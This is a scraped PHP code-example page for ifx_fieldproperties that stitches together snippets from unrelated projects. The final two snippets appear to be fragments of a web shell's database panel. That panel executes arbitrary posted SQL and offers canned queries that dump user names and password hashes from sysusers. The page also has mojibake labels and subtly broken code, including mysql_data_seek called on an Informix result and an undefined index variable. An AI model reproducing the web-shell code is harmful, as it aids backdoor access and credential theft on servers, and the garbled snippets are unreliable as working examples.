PHP ifx_fieldproperties函数代码示例

 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  *
  * @param resource $d The datasource resource
  */
 function informixAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $ob = "";
     $fieldcount = ifx_num_fields($d);
     $be = $this->isBigEndian;
     $fc = pack('N', $fieldcount);
     if (ifx_num_rows($d) > 0) {
         $line = ifx_fetch_row($d, "FIRST");
         do {
             //Write inner inner (data) array
             $ob .= "\n" . $fc;
             foreach ($line as $key => $value) {
                 if (is_string($value)) {
                     // string
                     $os = $this->_directCharsetHandler->transliterate($value);
                     $len = strlen($os);
                     if ($len < 65536) {
                         $ob .= "" . pack('n', $len) . $os;
                     } else {
                         $ob .= "\f" . pack('N', $len) . $os;
                     }
                 } elseif (is_float($value) || is_int($value)) {
                     //numberic
                     $b = pack('d', $value);
                     // pack the bytes
                     if ($be) {
                         // if we are a big-endian processor
                         $r = strrev($b);
                     } else {
                         // add the bytes to the output
                         $r = $b;
                     }
                     $ob .= "" . $r;
                 } elseif (is_bool($value)) {
                     //bool
                     $ob .= "" . pack('c', $value);
                 } elseif (is_null($value)) {
                     // null
                     $ob .= "";
                 }
             }
         } while ($line = ifx_fetch_row($d, "NEXT"));
     }
     $this->serializedData = $ob;
     $properties = ifx_fieldproperties($d);
     for ($i = 0; $i < $fieldcount; $i++) {
         $this->columnNames[$i] = $this->_directCharsetHandler->transliterate(key($properties));
         next($properties);
     }
     $this->numRows = ifx_num_rows($d);
 }

 /**
  * @param String strSQL
  * @return Array
  */
 public function db_getfieldslist($strSQL)
 {
     $res = array();
     $qResult = $this->connectionObj->query($strSQL);
     $qHandle = $qResult->getQueryHandle();
     $properties = ifx_fieldproperties($qHandle);
     foreach ($properties as $fname => $val) {
         $stype = implode(";", $val);
         $ntype = $this->getFieldTypeNumber($stype[0]);
         $res[$i] = array("fieldname" => $fname, "type" => $ntype, "is_nullable" => 0);
     }
     return $res;
 }

 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  *
  * @param resource $d The datasource resource
  */
 function informixAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = ifx_num_fields($d);
     $properties = ifx_fieldproperties($d);
     for ($i = 0; $i < $fieldcount; $i++) {
         $this->columns[$i] = key($properties);
         next($properties);
     }
     if (ifx_num_rows($d) > 0) {
         $line = ifx_fetch_row($d, "FIRST");
         do {
             $this->rows[] = $line;
         } while ($line = ifx_fetch_row($d, "NEXT"));
     }
 }

 function FetchField($fieldOffset = -1)
 {
     if (empty($this->_fieldprops)) {
         $fp = ifx_fieldproperties($this->_queryID);
         foreach ($fp as $k => $v) {
             $o = new ADOFieldObject();
             $o->name = $k;
             $arr = explode(';', $v);
             //"SQLTYPE;length;precision;scale;ISNULLABLE"
             $o->type = $arr[0];
             $o->max_length = $arr[1];
             $this->_fieldprops[] = $o;
             $o->not_null = $arr[4] == "N";
         }
     }
     $ret = $this->_fieldprops[$fieldOffset];
     return $ret;
 }

 /**
  * Devuelve el nombre de un campo en el resultado de un select
  *
  * @param int $number
  * @param resource $result_query
  * @return string
  */
 public function field_name($number, $result_query = '')
 {
     if (!$this->id_connection) {
         return false;
     }
     if (!$result_query) {
         $result_query = $this->last_result_query;
         if (!$result_query) {
             return false;
         }
     }
     $fields = ifx_fieldproperties($result_query);
     if (!is_array($fields)) {
         return false;
     }
     $fields = array_keys($fields);
     return $fields[$number];
 }

 /**
  * Returns information about a table or a result set
  *
  * NOTE: only supports 'table' if <var>$result</var> is a table name.
  *
  * If analyzing a query result and the result has duplicate field names,
  * an error will be raised saying
  * <samp>can't distinguish duplicate field names</samp>.
  *
  * @param object|string  $result  DB_result object from a query or a
  *                                 string containing the name of a table.
  *                                 While this also accepts a query result
  *                                 resource identifier, this behavior is
  *                                 deprecated.
  * @param int            $mode    a valid tableInfo mode
  *
  * @return array  an associative array with the information requested.
  *                 A DB_Error object on failure.
  *
  * @see DB_common::tableInfo()
  * @since Method available since Release 1.6.0
  */
 function tableInfo($result, $mode = null)
 {
     if (is_string($result)) {
         /*
          * Probably received a table name.
          * Create a result resource identifier.
          */
         $id = @ifx_query("SELECT * FROM {$result} WHERE 1=0", $this->connection);
         $got_string = true;
     } elseif (isset($result->result)) {
         /*
          * Probably received a result object.
          * Extract the result resource identifier.
          */
         $id = $result->result;
         $got_string = false;
     } else {
         /*
          * Probably received a result resource identifier.
          * Copy it.
          */
         $id = $result;
         $got_string = false;
     }
     if (!is_resource($id)) {
         return $this->ifxRaiseError(DB_ERROR_NEED_MORE_DATA);
     }
     $flds = @ifx_fieldproperties($id);
     $count = @ifx_num_fields($id);
     if (count($flds) != $count) {
         return $this->raiseError("can't distinguish duplicate field names");
     }
     if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE) {
         $case_func = 'strtolower';
     } else {
         $case_func = 'strval';
     }
     $i = 0;
     $res = array();
     if ($mode) {
         $res['num_fields'] = $count;
     }
     foreach ($flds as $key => $value) {
         $props = explode(';', $value);
         $res[$i] = array('table' => $got_string ? $case_func($result) : '', 'name' => $case_func($key), 'type' => $props[0], 'len' => $props[1], 'flags' => $props[4] == 'N' ? 'not_null' : '');
         if ($mode & DB_TABLEINFO_ORDER) {
             $res['order'][$res[$i]['name']] = $i;
         }
         if ($mode & DB_TABLEINFO_ORDERTABLE) {
             $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
         }
         $i++;
     }
     // free the result only if we were called on a table
     if ($got_string) {
         @ifx_free_result($id);
     }
     return $res;
 }

//.........这里部分代码省略.........
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){

//.........这里部分代码省略.........
<script language="javascript">
function ifxFull(i){
\tStr = new Array(11);
        Str[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
        Str[2] = "select name from sysdatabases;";
        Str[3] = "select tabname from systables;";
        Str[4] = "select colname from syscolumns where tabid=n;";
        Str[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">dbservername</option>
        <option value="1">databases</option>
        <option value="2">tables</option>
        <option value="3">columns</option>
        <option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$ifxrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=w&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">